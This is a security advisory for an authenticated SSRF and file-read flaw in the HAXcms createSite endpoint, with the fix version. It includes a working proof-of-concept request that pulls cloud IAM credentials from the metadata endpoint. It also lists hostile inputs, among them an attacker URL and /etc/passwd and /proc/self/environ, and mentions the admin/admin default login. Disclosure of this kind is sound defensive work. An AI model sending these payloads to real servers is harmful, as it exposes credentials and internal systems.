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HIGH

GHSA-q862-gcgq-5m6g

HAXcms createSite SSRF Enables Arbitrary File Read

Quick fix

GHSA-q862-gcgq-5m6g — @haxtheweb/haxcms-nodejs: upgrade to the fixed version with the command below.

npm install @haxtheweb/haxcms-nodejs@26.0.0

Details

### Summary An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.

### Details The `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.

The data flow is as follows: - User input (`build.files`) is processed via `object_to_array()` into a PHP array - Assigned to `$filesToDownload` in `Operations.php` (line 2626) - Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled

In `HAXCMSFile.php` (line 30), the following occurs: ```php file_get_contents($upload['tmp_name']); ```

Here, tmp_name is attacker-controlled and may contain:

- External URLs (`http://attacker.com`) - Internal services (`http://127.0.0.1`) - Cloud metadata endpoints (`http://169.254.169.254`) - Local file paths (`/etc/passwd`, `/proc/self/environ`)

The bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.

There are no restrictions on:

- URL schemes (`http`, `file`, `gopher`, etc.) - Destination IP ranges (internal, loopback, metadata services) - Response content

All fetched content is written to: ``` sites/<sitename>/files/<filename> ``` and is accessible via the web.

### PoC Prerequisites:

- Authenticated session (default credentials: `admin/admin` on fresh installs) - Valid JWT and CSRF token

Step 1: Log in and capture JWT + CSRF token

Step 2: Send crafted request: ``` POST /createSite HTTP/1.1 Host: target Authorization: Bearer [JWT] X-CSRF-Token: [TOKEN] Content-Type: application/json

{ "site": { "name": "poc" }, "build": { "files": { "poc.txt": { "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } ```

Step 3: Retrieve response: ``` GET /sites/poc/files/poc.txt ```

The response will contain the fetched content (e.g., cloud credentials or internal service data).

### Impact

- SSRF enabling access to internal network services - Arbitrary file read via local filesystem paths - Cloud credential exposure through metadata endpoints - Data exfiltration via web-accessible file storage

Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@haxtheweb/haxcms-nodejs
Introduced in: 0Fixed in: 26.0.0
Fixnpm install @haxtheweb/haxcms-nodejs@26.0.0

References